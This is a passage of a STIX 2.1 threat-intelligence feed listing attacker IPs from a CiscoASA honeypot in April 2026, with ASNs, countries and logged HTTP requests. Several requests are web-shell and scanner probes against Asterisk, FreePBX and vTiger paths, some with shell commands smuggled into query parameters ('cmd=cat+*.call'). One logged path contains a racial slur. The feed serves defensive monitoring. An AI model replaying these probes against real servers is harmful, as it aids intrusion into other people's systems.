      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T06:20:18.000Z",
      "valid_until": "2026-05-26T06:20:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-24T06:18:22.109Z",
          "last_seen": "2026-04-25T16:16:22.917Z",
          "country": "Russia",
          "country_code": "RU",
          "asn": 44050,
          "as_org": "Petersburg Internet Network ltd.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /aaa9 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T07:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 265645 (HOSTINGFOREX S.A.)",
      "id": "indicator--8dd6d27d-8d6d-40ef-8eae-50ecafef4c0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.36.94.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T07:20:10.000Z",
      "valid_until": "2026-05-26T07:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T06:57:57.368Z",
          "last_seen": "2026-04-24T06:57:57.901Z",
          "country": "United States",
          "country_code": "US",
          "asn": 265645,
          "as_org": "HOSTINGFOREX S.A.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /digium_phones/config.all.php?x HTTP/1.1\" 404 - geo: CH; ASN 53667 (FranTech Solutions)",
      "id": "indicator--d7cde675-6327-45aa-8155-2c0a3a2ee89e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.244.77.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:15:38.646Z",
          "last_seen": "2026-04-24T09:15:38.646Z",
          "country": "Switzerland",
          "country_code": "CH",
          "asn": 53667,
          "as_org": "FranTech Solutions",
          "event_types": [
            "\"GET /digium_phones/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /admin/ajax.php?module=blacklist HTTP/1.1\" 200 - geo: LU; ASN 53667 (FranTech Solutions)",
      "id": "indicator--9bfe0030-5e16-4a31-8887-daf4174d3688",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '107.189.3.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-24T09:04:26.956Z",
          "last_seen": "2026-04-24T09:04:33.989Z",
          "country": "Luxembourg",
          "country_code": "LU",
          "asn": 53667,
          "as_org": "FranTech Solutions",
          "event_types": [
            "\"POST /admin/ajax.php?module=blacklist HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /controllers/config.all.php?x HTTP/1.1\" 404 - geo: US; ASN 210558 (1337 Services GmbH)",
      "id": "indicator--c5fca775-f0d0-4a80-aeb6-c98668f01f4a",
      "labels": [
        "botnet_cc",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '124.198.132.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:15:35.175Z",
          "last_seen": "2026-04-24T09:15:35.175Z",
          "country": "United States",
          "country_code": "US",
          "asn": 210558,
          "as_org": "1337 Services GmbH",
          "event_types": [
            "\"GET /controllers/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /Bo.php? HTTP/1.1\" 404 - geo: SE; ASN 198093 (Foreningen for digitala fri- och rattigheter)",
      "id": "indicator--47bdcba2-bac4-42c1-a843-98eeaccc6b82",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.25.193.131']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T09:17:16.513Z",
          "last_seen": "2026-04-24T09:17:20.024Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 198093,
          "as_org": "Foreningen for digitala fri- och rattigheter",
          "event_types": [
            "\"GET /Bo.php? HTTP/1.1\" 404 -",
            "\"GET /x.php? HTTP/1.1\" 404 -",
            "\"GET /xx.php?21231232 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: POST /vtigercrm/phprint.php HTTP/1.1\" 200 - geo: SE; ASN 198093 (Foreningen for digitala fri- och rattigheter)",
      "id": "indicator--44d6f06b-e26d-4b06-b709-834ddebf8b6f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.25.193.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:05:02.986Z",
          "last_seen": "2026-04-24T09:05:05.988Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 198093,
          "as_org": "Foreningen for digitala fri- och rattigheter",
          "event_types": [
            "\"POST /vtigercrm/phprint.php HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /1.php?badr HTTP/1.1\" 404 - geo: SE; ASN 198093 (Foreningen for digitala fri- och rattigheter)",
      "id": "indicator--1d8cfe3c-f652-4314-a3c4-bbc8d3f74905",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '171.25.193.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-24T09:05:49.520Z",
          "last_seen": "2026-04-24T09:09:26.728Z",
          "country": "Sweden",
          "country_code": "SE",
          "asn": 198093,
          "as_org": "Foreningen for digitala fri- och rattigheter",
          "event_types": [
            "\"GET /1.php?badr HTTP/1.1\" 404 -",
            "\"GET /Z3R0-C00l.php.call?cmd=cat+*.call HTTP/1.1\" 404 -",
            "\"GET /admin/modules/admindashboard/phpsysinfo/ass.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/phpinf/page.phpinf.php?komand=cat+page.phpinf.php&1 HTTP/1.1\" 404 -",
            "\"GET /nigga/ari.conf HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.1?35 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.2?22 HTTP/1.1\" 404 -",
            "\"GET /panel/main.php.2?4\u00d8\u00b6 HTTP/1.1\" 404 -",
            "\"GET /panel/webadmin.php? HTTP/1.1\" 404 -",
            "\"GET /phpversions.php?module=upload HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: DE; ASN 14956 (RouterHosting LLC)",
      "id": "indicator--60a8f105-9bae-4526-8de6-0f31f38ffe39",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.86.70.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:25.870Z",
          "last_seen": "2026-04-24T09:05:25.870Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 14956,
          "as_org": "RouterHosting LLC"
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /maint/config.all.php?x HTTP/1.1\" 404 - geo: DK; ASN 57860 (Zencurity ApS)",
      "id": "indicator--570bf82c-48a3-4b14-a9aa-52b2f125725a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.129.62.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-24T09:16:00.615Z",
          "last_seen": "2026-04-24T09:16:21.456Z",
          "country": "Denmark",
          "country_code": "DK",
          "asn": 57860,
          "as_org": "Zencurity ApS",
          "event_types": [
            "\"GET /maint/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /meetme/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /mobrise/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /modules/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /panel/flash/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /ssh.php?2123 HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--4df3f566-1f14-45d1-a092-721a589074a4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:05:24.165Z",
          "last_seen": "2026-04-24T09:06:44.683Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /ssh.php?2123 HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--df2c0606-7fd6-4524-aeed-11f422dbd858",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 5,
          "first_seen": "2026-04-24T09:04:45.379Z",
          "last_seen": "2026-04-24T09:05:27.489Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET /admin/ajax.php?module=hotelwakeup HTTP/1.1\" 404 -",
            "\"POST /admin/ajax.php?module=recordings HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/config.all.php? HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--b7d0f0cb-da4d-4717-86a6-4640c6cc1933",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-24T09:12:47.662Z",
          "last_seen": "2026-04-24T09:12:56.914Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /admin/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/helpers/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/i18n/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/images/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/libraries/config.all.php? HTTP/1.1\" 404 -",
            "\"GET /admin/modules/config.all.php? HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/MeSSi.php?casd HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--0daf1a46-a413-452d-8029-bdba033aa0ae",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 10,
          "first_seen": "2026-04-24T09:07:19.804Z",
          "last_seen": "2026-04-24T09:07:34.132Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /_asterisk/MeSSi.php?casd HTTP/1.1\" 404 -",
            "\"GET /_asterisk/sos.php?asdw HTTP/1.1\" 404 -",
            "\"GET /emad.php?45qw HTTP/1.1\" 404 -",
            "\"GET /recordings/.tika.php?2hj HTTP/1.1\" 404 -",
            "\"GET /recordings/lol.php?31asd HTTP/1.1\" 404 -",
            "\"GET /recordings/play_page.php?qwe HTTP/1.1\" 404 -",
            "\"GET /recordings/pos.php?ca HTTP/1.1\" 404 -",
            "\"GET /recordings/shell-test.php?vr HTTP/1.1\" 404 -",
            "\"GET /test.php?wqe HTTP/1.1\" 404 -",
            "\"GET /wso.php?a&a HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--3c75293e-c0a4-4863-a06e-3ce21b12ea7d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-24T09:16:53.278Z",
          "last_seen": "2026-04-24T09:17:14.484Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /_asterisk/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /admin/modules/?npv HTTP/1.1\" 404 -",
            "\"GET /admin/modules/_cache/?npv HTTP/1.1\" 404 -",
            "\"GET /panel/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /recordings/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /var/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /vtigercrm/phpversions.php?npv HTTP/1.1\" 404 -",
            "\"GET /web-meetme/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /recordings/main.php.1?2w HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--4919af2d-33a7-4dbb-8610-c884757f14b8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 13,
          "first_seen": "2026-04-24T09:10:37.667Z",
          "last_seen": "2026-04-24T09:10:57.001Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /recordings/main.php.1?2w HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.1?5a HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.2?2s HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php.2?5x HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?22 HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?3q HTTP/1.1\" 404 -",
            "\"GET /recordings/main.php?x3 HTTP/1.1\" 404 -",
            "\"GET /recordings/miscconfig.all.php? HTTP/1.1\" 404 -",
            "\"GET /recordings/miscconfig.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /admin/modules/backup/page.backup.php HTTP/1.1\" 404 - geo: DE; ASN 205100 (F3 Netze e.V.)",
      "id": "indicator--30768490-d267-4a2b-b1bf-15504eb6f2b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.100.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:04:58.583Z",
          "last_seen": "2026-04-24T09:05:01.587Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 205100,
          "as_org": "F3 Netze e.V.",
          "event_types": [
            "\"GET /admin/modules/backup/page.backup.php HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /bin/config.all.php?x HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--75818323-1369-4d9c-89e6-662b7a996597",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-24T09:15:22.789Z",
          "last_seen": "2026-04-24T09:15:24.392Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /bin/config.all.php?x HTTP/1.1\" 404 -",
            "\"GET /cisco/config.all.php?x HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--4445c969-f6c0-4aeb-a0d2-fb50d8f2f0d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 45,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:05:46.054Z",
          "last_seen": "2026-04-24T09:05:46.054Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit"
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /_asterisk/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 - geo: DE; ASN 60729 (Stiftung Erneuerbare Freiheit)",
      "id": "indicator--819b8e3e-bfb8-48fe-b97a-79730f623572",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.220.101.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T09:20:10.000Z",
      "valid_until": "2026-05-26T09:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T09:06:58.153Z",
          "last_seen": "2026-04-24T09:06:58.153Z",
          "country": "Germany",
          "country_code": "DE",
          "asn": 60729,
          "as_org": "Stiftung Erneuerbare Freiheit",
          "event_types": [
            "\"GET /_asterisk/Xiii.php?yokyok=cat+Xiii.php& HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T09:20:10.000Z",
